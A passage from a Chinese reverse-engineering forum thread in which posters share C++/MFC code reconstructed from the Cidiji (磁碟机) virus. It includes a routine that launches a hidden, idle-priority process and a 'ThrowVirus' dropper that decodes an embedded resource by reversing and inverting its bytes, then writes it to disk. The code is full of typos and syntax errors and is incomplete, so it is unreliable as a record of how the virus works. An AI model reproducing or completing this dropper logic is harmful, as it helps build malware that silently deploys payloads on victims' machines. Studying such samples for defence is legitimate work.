能力值:
( LV9,RANK:260 )
|
-
-
2 楼
CVirDlg::fun(CString strFileName)
{
CString strEspFileName;
strEspFileName=" ^"+strFileName;
strcpy(aEspPifName,strEspFileName);
CreateProc(aNewLsaPath,aEspPifName,1,0,0);
}
int CVirDlg::CreateProc(char *lpApplicationName,LPSTR lpCommandLine,int var1,int var2,int var3)
{
STARTUPINFO stinfo;
memeset(stinfo,0,sizeof(stinfo));
stinfo.size=sizeof(STATUPINFO);
if(var3==0)
{
stinfo.dwFlags=STARTF_USESHOWWINDOW;
stinfo.wShowWindow=FALSE;
}
PROCESS_INFOMATION pInfo;
if(!CreateProcess(lpApplication,lpCommandLine,NULL,NULL,FALSE,IDLE_PRIORITY_CLASS,NULL,NULL,&stinfo,&pInfo))
return(2008);
if(var1==0)
{
}
}
|
能力值:
( LV9,RANK:260 )
|
-
-
3 楼
代码:
ThrowVirus(LPSTR aFilePath,CString& sResType,int nResID)
{
if(HRSRC hResInfo=FindResource(NULL,nResID,sResType))
{
int nSize=SizeOfResource(NULL,hResInfo);
if(HGLOBAL hRes=LoadResource(NULL,hResInfo))
{
if(nResID=::CreateFile(aFilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL))
//pay attention to sharemode 0 only use by owner cannot shared.
//file attribute 0 not a right value transfer to normal.
{
char* pBuf1,pBuf2;
if!(pBuf1=malloc(nSize)&&pBuf2=malloc(nSize))
{
if(memcpy(pBuf2,LockResource(hRes),nSize)>0)
{
pBuf2=pBuf2+nSize-1;
char *temp1=pBuf1,*temp2=pBuf2;
while(--nSize)
*pBuf1++=*pBuf2--;
pBuf1=temp1;pBuf2=temp2;
if(*pBuf1==0x0d)
{
int i=1;
if(nSize>i)
{
while(i++<nSize)
*pBuf1=~(*pBuf1);
int BytesWritten=0;
WriteFile(nResID,pBuf1,nSize-1,&BytesWritten,NULL);
free(pBuf1);
CloseHandle(nResID);
}
}
//to be added:write file;error file size
}
else
{ //ErorrMemSize
}
}
}
}
}
}
|
能力值:
( LV5,RANK:69 )
|
-
-
4 楼
这玩意碰都不敢碰哦
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
太难。。。不懂。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
磁碟机原来是MFC的啊
|
|
|